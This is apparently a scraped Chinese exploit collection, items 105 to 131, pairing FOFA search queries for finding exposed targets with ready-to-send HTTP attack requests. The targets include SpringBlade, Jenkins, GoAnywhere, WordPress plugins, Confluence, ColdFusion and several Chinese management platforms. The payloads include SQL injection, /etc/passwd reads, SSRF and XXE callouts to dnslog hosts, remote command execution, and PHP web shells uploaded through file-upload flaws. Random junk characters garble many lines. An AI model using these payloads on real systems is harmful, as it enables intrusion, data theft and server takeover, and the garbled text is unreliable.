Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
/ l  A) s+ A% GAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
3 X6 W( m( r4 q/ o/ K" {Connection:close
3 m3 E4 _9 W; z+ Y3 T4 a( }
{
"topicurl":"getSysStatusCfg",
"token":""
( \3 J. G( w" r# ^; ^4 p}

105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
) U8 q& |4 N" A% |, ^6 P( x9 {
106. SpringBlade dict-biz/list SQL 注入
$ ^3 g! q+ R' X0 D  q# wFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ ]3 _% S9 B( k, |Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
! P$ y! `; m4 ~( C& ?0 H, oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
* g$ m% Y! W/ ^  E1 u6 Q$ I5 V7 ?FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
1 ]; T, I2 t9 H1 e% k/ y1 yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# T9 m& t8 P1 o, V- J* g/ a( rBlade-Auth:替换为自己的
& w6 @, N! b! D" {+ GConnection: close


7 X3 v, g" n1 F7 ]' E108. D-Tale 3.9.0 SSRF
CVE-2024-21642
0 X; k4 w% L, ZFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  `: ?5 v8 ?* s2 D+ z8 I) n4 }9 YAccept-Encoding: gzip, deflate
5 ?3 s* B6 }5 v. w* C) Q' e' ?Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
/ {7 c/ ^% ^" t7 Q
0 G2 M6 G" O& _9 V5 C: J  \# ]
! ]3 P2 o8 _- B109. Jenkins CLI 任意文件读取
CVE-2024-23897
/ f! R8 ~  w8 D( Q+ M+ TFOFA：header="X-Jenkins"
6 E1 ~( W! a2 D) S6 t. rPOST /cli?remoting=false HTTP/1.1
Host:
% `9 g* h9 d3 M! yContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163

, N2 @* F! i% s, b( U/ o4 Bb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
/ \# z+ V+ W: L  q" Y: |+ R9 P

POST /cli?remoting=false HTTP/1.1
; j2 n' T" ?' M4 nHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
5 u+ Z- e( f* z* r# n8 }/ b+ j  gdownload
6 a8 e7 }8 K  [; r0 J  L$ E, {8 b% DContent-Type: application/x-www-form-urlencoded
Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
0 q0 C8 q1 c* wjava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
9 ^4 Y% r% G+ B COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

! O& G* z4 V+ t, Y9 K5 K* l
110. Goanywhere MFT 未授权创建管理员
, [9 ]* f3 }/ L$ x" ^; ]9 jCVE-2024-0204
6 P- q3 A. H- r6 z  qFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
8 T  e4 b3 |; `Accept-Encoding: gzip
5 X4 N2 K* U7 W  b' J8 _3 B4 t
. l3 u- G& z( D+ c/ N
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
- H0 D* ]) F; T+ y, \- FFOFA："wordpress" && body="html5-video-player"
+ L7 v! F/ _6 ?. h( g9 {3 }  i9 nGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
4 c% Y' i/ {* W- wHost: 192.168.40.130:112
# w1 d0 l( g) H3 D# m# ]User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
% l4 G; m/ L' x: a+ w$ q  s8 A
0 v5 W8 W9 J! R! j* x$ |
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
5 G! f  ~2 i; b2 t& |5 ?POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
; u. H, N7 P5 m7 w* K

  Y( H' g: Q8 i6 }, d& S113. WordPress Automatic 插件任意文件下载和SSRF
1 g$ n3 [7 ~. A$ B' L9 _5 a! ICVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
0 S6 A  W* ]; \9 C/ y/ |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
' l; K8 N! c$ J5 Y- W1 gConnection: close
Accept: */*
+ k5 W3 w0 W7 Y) vAccept-Language: en
Accept-Encoding: gzip


$ O7 i2 I$ X$ W% z# r% f+ P% L" F  g& R114. WordPress MasterStudy LMS插件 SQL注入
& D7 X* T4 r6 q2 g. m; U# D, J, QFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 R+ T. u- [& R' D8 hAccept-Charset: utf-8
- d/ |  I1 @' HAccept-Encoding: gzip, deflate
Connection: close
1 ?' s6 A& Q5 @( U, ~( B
2 W, f, H" s0 x4 l
2 m  x' R5 t  n4 X: g115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
# H- d2 z; C. B% e) QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
5 p+ {# F; z: J: d9 f, X; lConnection: close
Accept-Encoding: gzip


/ n: M2 U- u9 p# O& M8 O" ^第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
* Y' [. F! E% tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
- ?" g. J" D" F( J7 M0 GContent-Length: 356
Content-Type: application/json
$ \5 {! o' ]2 E2 A/ lAccept-Encoding: gzip

{
3 g2 w" E6 [& f4 F9 i6 j"postId": "1",
% `; @" N# b# _- h  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
- K$ j! X- A( U/ i    "settings": {
      "hasLoop": "true",
      "query": {
6 Q" n' W$ _; [        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
9 W5 x: b8 O; ?2 D, m1 H      }
4 M- z  M' ]5 D& o2 p4 i    }
  }
}


+ v, u  }- H' q- b116. wordpress js-support-ticket文件上传
. a9 H7 t: S6 OFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
9 V- [% Y9 U" l* WHost:
7 ?' P1 G4 J" g( QContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

/ d  i6 y$ p; Y* B----------767099171
5 b2 ?4 c+ d7 g' V, v' b3 o2 hContent-Disposition: form-data; name="action"
+ Y5 t! C# y: @  y8 \- w# Cconfiguration_saveconfiguration
" T, t: f3 F& d1 o----------767099171
Content-Disposition: form-data; name="form_request"
9 Z' [5 y. d5 `6 g1 I/ E/ y- ijssupportticket
----------767099171
: P1 c( ^1 w0 M" j8 XContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
7 C: f/ `% k2 {! p5 P/ MContent-Type: image/png
----------767099171--

0 s& n3 |2 z* ?9 i8 H
117. WordPress LayerSlider插件SQL注入
/ i9 m. P1 x, b! k4 p/ Q3 vversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
( y, ^$ |+ P/ \' f% o' W: T% ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; R: Q$ s# T& w  c8 z0 [( ^& V( fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( s- Q: i' G, S7 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 G& m* i  g& z" FAccept-Encoding: gzip, deflate, br
# X# e3 r  c3 q/ h" qConnection: close
" d5 E6 s# I& B+ I) gUpgrade-Insecure-Requests: 1
  K+ Z: w: W4 m. U

% h* A$ [& N$ `) ~" i  K118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
+ T; a" H- e! H2 kPOST /Tool/uploadfile.php? HTTP/1.1
7 F6 N+ v. U) a# Q  V7 G! JHost: 192.168.40.130:8443
5 o! g2 I: q' P5 wCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
& S1 C. _& N' D9 P3 r  I3 r9 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
1 v) r2 o7 t, r8 @# T4 F) R" c, jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 o* }0 j. W9 h$ e$ MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 g, U$ ]+ k" k5 CAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
) O# `' u1 Z- P: Z6 tContent-Length: 405
0 f. C' u# I' w& _Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
- }) y7 W: I: @- n: a7 v+ _  w% c" `
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
* D% x2 X- o  B' F+ h
<?php
system($_POST["passwd"]);
1 j; O1 m( G$ p9 Y6 C, e, B?>
) ]' @$ X" E. K: [" i-----------------------------13979701222747646634037182887
" i- {1 [6 ]  \: \2 U( aContent-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--
7 c0 ^6 B: m* r1 P' X
4 s3 x. }" R& ~) U2 a. r
访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
7 [$ D( Z% B9 u0 pFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
! X3 ^+ K5 S3 F6 n$ D9 B4 i& _6 XAccept: */*
# l; _. ~" V6 p3 }1 W  sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; E4 m) h  C! l6 }* b, y. EContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
6 i6 ~1 G% ~) w! G8 [Origin: https://58.18.133.60:8443
. v7 H& x# O, L; n% w: ~Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
( `0 A/ Z) w9 Z# U# I) r( MSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
% L. u6 B- ^) t' s0 g( i# _3 aX-Forwarded-For: 1.1.1.1
/ Q( Q. i; }* i9 M. yX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
+ g+ [: q8 g- U4 {$ w
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

2 N0 ^. h' s% M" {
: R( Q/ e+ s  V" v0 B* l9 L120. 北京百绰智能S40管理平台导入web.php任意文件上传
5 H" ?- f1 T) P9 [  f/ N7 nCVE-2024-1253
FOFA：title="Smart管理平台"
- k9 s1 ]  }( m8 Q  p; }8 K' zPOST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 [( ]/ J) w$ W$ G6 M* LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& ?& u2 U8 A# {6 E: RAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
/ l: L9 ?: U* l7 g% Y# n5 s6 VContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
, \' ^0 c7 J: ^Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
" O3 i' ^3 G- N+ S, G5 YSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
* N+ v/ T2 i. s% \Sec-Fetch-User: ?1
* e$ r5 w( V6 y- @8 B  aTe: trailers
Connection: close
" p. ?  i7 \  C0 O) C
-----------------------------42328904123665875270630079328
$ z# A% a$ s" e. ^; mContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
9 b* I8 I# b9 q9 B% O2 W7 {4 u
<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

: ]6 W6 g- `" C( u, F6 g1
-----------------------------42328904123665875270630079328
' O4 ~3 x& {7 d+ ]7 \Content-Disposition: form-data; name="1_ck"
8 }0 L* K! O; ?3 J1 {
1_radhttp
7 ^! \9 j4 d7 A& c: x4 E! q-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328


  z  d, _; z' P3 `文件路径/upload/2.php
0 ]. Q- R# l, l% h! r
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
& o. O# k: l' [+ `CVE-2024-1918
FOFA：title="Smart管理平台"
6 l+ J( B3 F' c, y3 ePOST /useratte/userattestation.php HTTP/1.1
! K. H0 E, s0 C' m8 W6 dHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
! _& e: E+ l+ |# BUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
$ v# m  \7 Y* b- G2 d  e% g! VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 m, x) |9 b. N  ~$ i9 C$ mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
4 D1 o! K5 D7 tSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
) _6 Y7 I3 e+ d+ E  K1 P  y" pSec-Fetch-User: ?1
Te: trailers
Connection: close

- j/ N) r- P6 y3 _% Z-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
8 `4 F& k6 n7 V+ h2 F* fContent-Type: application/octet-stream
+ p9 Z- L7 @6 J' Q
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
6 Y% v4 k9 y; x* ]( l  H2 X& i7 mContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
% w1 t& L0 U2 q! q: T6 ?Content-Disposition: form-data; name="1_ck"

5 o: S7 Q* ]- g# y: H2 N1_radhttp
6 e& O1 n+ u# L2 I3 Q. {-----------------------------42328904123665875270630079328
" y# X$ G) w: G* I, g& ^Content-Disposition: form-data; name="hidwel"

* V9 j* x; I' S4 y: E; Uset
9 l# ~$ p) F# d2 u. A3 w-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php

0 l5 d1 v" n- H7 p122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
* ~0 b1 E0 j# ~1 YHost: x.x.x.x
/ B6 @/ Q' I0 w1 l" jCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
$ l' ^, U7 y( {) e* U* ?# L$ NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Q% a; l, k/ P8 t" Y# W2 RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
' i2 V$ u$ j2 c/ E) y8 [; \8 @& PUpgrade-Insecure-Requests: 1
! [8 o2 b4 B. u: t: O9 ^2 |# SSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
( i+ p% @$ X% e% \4 }/ GSec-Fetch-Site: none
4 |- s/ ]& x$ z, GSec-Fetch-User: ?1
Te: trailers
Connection: close
" c5 N9 k2 k# M( c1 d
2 M% s4 |* g( O" n8 W3 t
123. Atlassian Confluence 模板注入代码执行
8 V; {- \' F! L; r- ~% X( BFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
/ \4 _% c  o; l1 JHost: localhost:8090
3 E5 [% n3 {3 O9 iAccept-Encoding: gzip, deflate, br
5 e. f* H2 M& Q' rAccept: */*
! S# e* {$ d4 k0 t2 R+ t; H# [Accept-Language: en-US;q=0.9,en;q=0.8
" |! b* ?2 E0 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
* J% y6 K. b7 b4 T# ]! {
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

. i8 a' f% Z) Z5 I( U
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
+ ~2 I# m  Z. p; r- ]3 o! P3 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
0 ~  S5 q* G+ @; XAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ a4 H0 [: p0 [9 {Connection: close
$ D$ ?$ u/ D0 q9 [3 eContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
. j8 j9 O( f8 r

http://192.168.40.130:8282/Scripts/abcgcg.aspx

+ K; |: P  w" B3 J+ Q! G125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
' Q4 F" d' A5 z) ]$ cFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
' `) |+ h. ^. n9 P- [# Z& f. O

使用方法
4 t. W7 ?7 w- X4 [) Zpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
4 s3 H: L9 @+ [
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
* [3 ~1 j( m0 [$ _& ~! }8 DGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
' \7 |# c7 w  E; g" AConnection: close
Accept: */*
6 [9 E4 m- p% e! ^4 nAccept-Language: en
* M  |6 ?0 v: F$ G" K4 HAccept-Encoding: gzip


0 z. f+ n, [3 _* n# F6 M127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
  ?- c' ~5 K& e" e5 X" Y  wPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
% i$ ]6 Z! @5 w+ i8 a+ _, O5 ]8 wHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
3 |& [, i0 |' V$ {3 T, v6 T; @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- ^/ y. F) {% ^7 P4 K0 g0 c9 jAccept-Language: zh-CN,zh;q=0.9
1 S2 Z- @1 J" o7 |5 d, W! h! AConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
4 O  b3 j  L( Q0 F( ?: N
4 [" z1 @7 R" q, l------WebKitFormBoundaryJGgV5l5ta05yAIe0
. V" ^0 b( r' {$ c7 XContent-Disposition: form-data;name="SystemName"
# v" Y; B* o+ P8 n% Z4 y9 P. F
; L3 t9 s& B: G  A6 v& ~1 u' bBIM
" Q: w: L4 T! Y/ I2 i------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
/ o5 f3 q: N. B% ]# E7 A" FContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
+ j+ d' z  s$ [! K1 @$ t<!DOCTYPE test [
; g# B/ _/ d" T# G, a<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
! n% J9 ~- ?/ J. C8 B]
! l+ ]+ S9 k6 ^3 d>
<test>&t;</test>
& o+ n4 r- c0 A7 M, f4 ]! t------WebKitFormBoundaryJGgV5l5ta05yAIe0--
( l6 r" U/ p' m& a* G& B
6 ?7 X2 c% y3 j5 |

/ o5 @6 m# p' {128. Adobe ColdFusion 反序列化
CVE-2023-38203
9 p& `+ Y0 W, ]! n* PAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
, a- y8 G* f0 ?8 s/ wCVE-2024-20767
3 F) t( r  U5 Z/ ?FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
6 L# \. _- }% q+ |第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
7 d/ \* r2 T( F) c0 M" jHost: x.x.x.x
5 e- R% T$ i2 m" y7 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 i9 j& `' D  |4 X+ SAccept: */*
( v" T+ R9 F1 J7 P1 J' EAccept-Encoding: gzip, deflate
Connection: close
1 j% V) Q: C" K% n0 x
* o1 I0 m! f: Y5 @0 b* f# O3 o
9 K2 y6 M$ T& p( g8 u第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 Y5 Z0 w- r. JAccept: */*
Accept-Encoding: gzip, deflate
+ I/ @* e0 [* O" EConnection: close
( X8 v+ ]9 [* x2 ?uuid: 85f60018-a654-4410-a783-f81cbd5000b9
% a* k, m, l1 _, H2 t) P# j! _+ Q

- @* K7 P8 ^" q' |3 ^: }) G1 A130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
* a( t/ G+ [+ y# B  Y" x8 j3 ~POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
1 s! T& w& ?- L, X4 wAccept-Language: zh-CN,zh;q=0.9
, ]8 I4 b, N4 yCookie: user_name=1; user_id=3
Connection: close
& ~) f5 Y5 b. Z* y
------WebKitFormBoundary3OCVBiwBVsNuB2kR
; M( R; f8 O' g8 z6 F2 m: AContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
$ N  |1 ]! N6 u
% `/ a" q2 \* }& U& j) a8 k<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

- H5 R- O( n  h% H4 [9 |
131. Mini-Tmall <=20231017 SQL注入
+ k* y" H" Q4 o5 c9 P$ bFOFA：icon_hash="-2087517259"
